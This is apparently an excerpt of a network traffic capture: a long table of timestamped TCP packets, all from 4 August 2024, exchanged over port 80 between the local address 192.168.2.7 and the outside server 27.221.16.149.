Aug 4, 2024 10:58:06.323142052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323142052 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323175907 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323196888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323210955 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323225975 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323257923 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323662043 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323678970 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323695898 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323698997 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323714972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323730946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.323748112 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323777914 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.323944092 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.324239016 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.324348927 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669193029 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669225931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669243097 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669270039 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669285059 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669286013 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669300079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669316053 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669328928 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669343948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669344902 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669362068 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669375896 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669380903 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669393063 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669409990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669429064 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669486046 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669501066 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669512987 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669517994 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669534922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669550896 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669558048 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669568062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669572115 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669584990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669600964 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669744968 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669760942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669776917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669792891 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669796944 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669807911 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669811010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669826984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669843912 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.669867992 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.669874907 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670327902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670345068 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670361042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670377016 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670392036 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670397997 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670408010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670423985 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670418978 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670445919 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670449018 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670465946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670480967 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670495033 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670496941 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670516968 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670520067 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670533895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670551062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670557976 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670568943 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670587063 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670638084 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670654058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670672894 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.670684099 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.670706034 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.671241999 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671258926 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671273947 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671302080 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.671331882 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671348095 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671363115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671371937 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.671380997 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671400070 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:06.671457052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671473026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:06.671506882 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.016107082 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.016144991 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.016235113 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.020567894 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.020587921 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.020744085 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.020872116 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.020889997 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.020952940 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.025269985 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.025290012 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.025305033 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.025419950 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.025559902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.025578022 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.025625944 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030170918 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030189991 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030205965 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030221939 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030240059 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030246973 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030256033 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030273914 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030282974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030299902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030316114 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030317068 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030332088 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030345917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030361891 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030361891 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030378103 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030392885 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030394077 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030409098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030416012 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030426979 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030452013 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030458927 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030468941 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030486107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030491114 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030503035 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030519009 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030534029 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030540943 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030550957 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030566931 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030566931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030584097 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030584097 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030601978 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030616999 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030632973 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030632973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030648947 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030657053 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030667067 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030680895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030689955 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030697107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030713081 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030718088 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030729055 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030747890 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030750990 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030764103 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030780077 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030796051 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030803919 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030811071 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030812025 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030827999 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030843973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030858040 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030858994 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030875921 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030889034 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030890942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030909061 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030915022 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030925989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030942917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030957937 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030958891 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030976057 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.030978918 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.030992985 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.031009912 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.031028032 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.031054974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.363627911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363694906 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363729954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363761902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363796949 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363851070 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363883018 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363890886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.363890886 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.363917112 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.363929987 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.363985062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364036083 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364058018 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364082098 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364089966 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364125013 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364157915 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364180088 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364193916 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364197016 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364248037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364300966 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364331007 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364355087 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364365101 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364375114 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364423990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364474058 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364505053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364554882 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364589930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364607096 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364640951 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364672899 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364706993 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364723921 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364739895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364752054 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364774942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364808083 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364828110 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364845037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364876986 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364897966 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.364931107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.364980936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365016937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365031958 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365051031 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365056992 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365087986 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365120888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365142107 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365154982 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365185976 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365200043 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365236998 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365269899 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365303040 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365324020 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365336895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365340948 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365370035 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365402937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365421057 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365454912 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365488052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365520954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365537882 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365556955 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365557909 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365593910 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365628004 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365647078 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365662098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365698099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365746975 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.365932941 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.365964890 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366014957 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366015911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366058111 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366065979 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366101980 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366132975 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366153002 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366169930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366205931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366221905 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366240025 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366271973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366286993 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366324902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366360903 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366393089 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366410971 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366425037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366460085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.366482019 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.366503000 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.450423956 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.499018908 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.710992098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711055040 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711122036 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711148024 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711158037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711227894 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711283922 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711283922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711319923 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711353064 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711375952 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711386919 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711405039 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711422920 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711477995 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711484909 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711513042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711559057 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711580038 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711616993 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711667061 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711671114 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711707115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711749077 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711771965 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711817026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711854935 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711865902 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711889982 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711931944 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.711941957 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.711977959 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712011099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712021112 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712063074 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712095976 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712121010 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712152004 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712187052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712197065 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712239981 CEST	80	49758	27.221.16.149	192.168.2.7
